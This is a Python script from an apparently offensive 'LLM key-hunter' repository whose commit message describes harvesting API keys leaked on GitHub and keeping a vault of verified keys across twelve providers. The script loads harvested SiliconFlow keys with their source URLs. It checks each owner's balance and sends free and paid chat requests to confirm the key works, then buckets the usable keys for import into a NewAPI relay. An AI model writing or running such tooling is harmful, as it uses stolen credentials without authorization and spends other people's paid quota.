Files
hack/tools/scripts/llm-key-hunter/hunt_siliconflow_deep.py
T
chaos 5d215e1649 Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
2026-08-02 06:02:58 +08:00

173 lines
6.2 KiB
Python

#!/usr/bin/env python3
"""
Deep-verify SiliconFlow keys that passed /v1/models.
For each key:
1. GET /v1/user/info -> retrieve balance/charge
2. POST /v1/chat/completions with Qwen/Qwen2.5-7B-Instruct (max_tokens=1)
Classification:
USABLE chat returns 200 with choices
NO_BALANCE balance=0 / 402 / charge balance exhausted
NO_ACCESS 403 (realname), 400 (model not granted), 404, 5xx
UNKNOWN network/timeout
DEAD 401 only
"""
import argparse
import json
import urllib.request
import urllib.error
import re
import sys
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
BASE = "https://api.siliconflow.cn"
UA = "curl/8.5.0"
OUT = Path("results/medium/SiliconFlow")
OUT.mkdir(parents=True, exist_ok=True)
# Free models — these should work on any identity-verified account with
# even zero balance (SiliconFlow grants free quota to a rotating list).
CHAT_MODEL = "Qwen/Qwen2.5-7B-Instruct"
PINCH_MODEL = "deepseek-ai/DeepSeek-V3" # paid model, useful balance probe
def http(method, path, key, body=None, timeout=20):
url = BASE + path
headers = {
"Authorization": f"Bearer {key}",
"User-Agent": UA,
"Accept": "*/*",
}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def verify(key):
# Layer 1: user info (balance)
info_code, info_body = http("GET", "/v1/user/info", key)
balance = None
status = None
if info_code == 200:
try:
j = json.loads(info_body)
data = j.get("data") or {}
balance = data.get("balance")
status = data.get("status")
except Exception:
pass
# Layer 2: free model chat
chat_code, chat_body = http("POST", "/v1/chat/completions", key, {
"model": CHAT_MODEL,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
"temperature": 0,
})
# Layer 3: paid model (only if free worked, to detect real balance)
paid_code, paid_body = 0, ""
if chat_code == 200:
paid_code, paid_body = http("POST", "/v1/chat/completions", key, {
"model": PINCH_MODEL,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
"temperature": 0,
})
# Classify
if chat_code == 401:
return "DEAD", f"401 on chat; info={info_code}"
if chat_code == 200 and '"choices"' in chat_body:
if paid_code == 200:
return "USABLE", f"balance={balance} status={status} free+paid OK"
return "USABLE_FREE_ONLY", f"balance={balance} status={status} free OK paid={paid_code}"
if chat_code in (402,):
return "NO_BALANCE", f"balance={balance}; chat={chat_code} {chat_body[:120]}"
if chat_code == 403:
return "NO_ACCESS", f"403: {chat_body[:160]}"
if chat_code == 400:
# could be model not allowed, or content filter
if "balance" in chat_body.lower() or "insufficient" in chat_body.lower():
return "NO_BALANCE", f"balance={balance}; 400 {chat_body[:160]}"
return "NO_ACCESS", f"400: {chat_body[:160]}"
if chat_code == 0:
return "UNKNOWN", f"network chat: {chat_body[:160]}"
if 500 <= chat_code < 600:
return "NO_ACCESS", f"5xx {chat_code}: {chat_body[:120]}"
return "NO_ACCESS", f"HTTP {chat_code}: {chat_body[:160]}"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=20)
ap.add_argument("--no-cache", action="store_true")
args = ap.parse_args()
src = OUT / "usable.txt"
rows = []
for line in src.read_text().splitlines():
if not line.strip() or "|" not in line:
continue
parts = line.split("|", 2)
key = parts[0]
src_url = parts[1] if len(parts) > 1 else ""
prev_detail = parts[2] if len(parts) > 2 else ""
rows.append((key, src_url, prev_detail))
print(f"loaded {len(rows)} candidate keys", flush=True)
buckets = {"USABLE": [], "USABLE_FREE_ONLY": [], "NO_BALANCE": [],
"NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
done = 0
with CachedVerifier("siliconflow", verify, force=args.no_cache,
ttl={"USABLE_FREE_ONLY": 30 * 60}) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(ver, k): (k, u, d) for k, u, d in rows}
for fut in as_completed(futs):
k, u, d = futs[fut]
try:
v, detail = fut.result()
except Exception as e:
v, detail = "UNKNOWN", f"exc: {e}"
buckets[v].append((k, u, detail))
done += 1
if done % 20 == 0:
print(f" {done}/{len(rows)} cache: {ver.hits} hits/{ver.live} live", flush=True)
print(f"cache: {ver.hits} hits, {ver.live} live queries, {len(ver._cache)} cached", flush=True)
for label, items in buckets.items():
path = OUT / f"deep_{label.lower()}.txt"
with path.open("w") as f:
for k, u, det in items:
f.write(f"{k}|{u}|{det}\n")
print(f"{label:18s} {len(items):4d} -> {path.name}")
# also emit combined all_non_401 for easy newapi ingestion
keep = []
for label in ("USABLE", "USABLE_FREE_ONLY", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for k, u, det in buckets[label]:
keep.append(f"{k}|{u}|[{label}] {det}")
with (OUT / "deep_all_non_401.txt").open("w") as f:
f.write("\n".join(keep) + "\n")
print(f"kept (non-401): {len(keep)}")
if __name__ == "__main__":
main()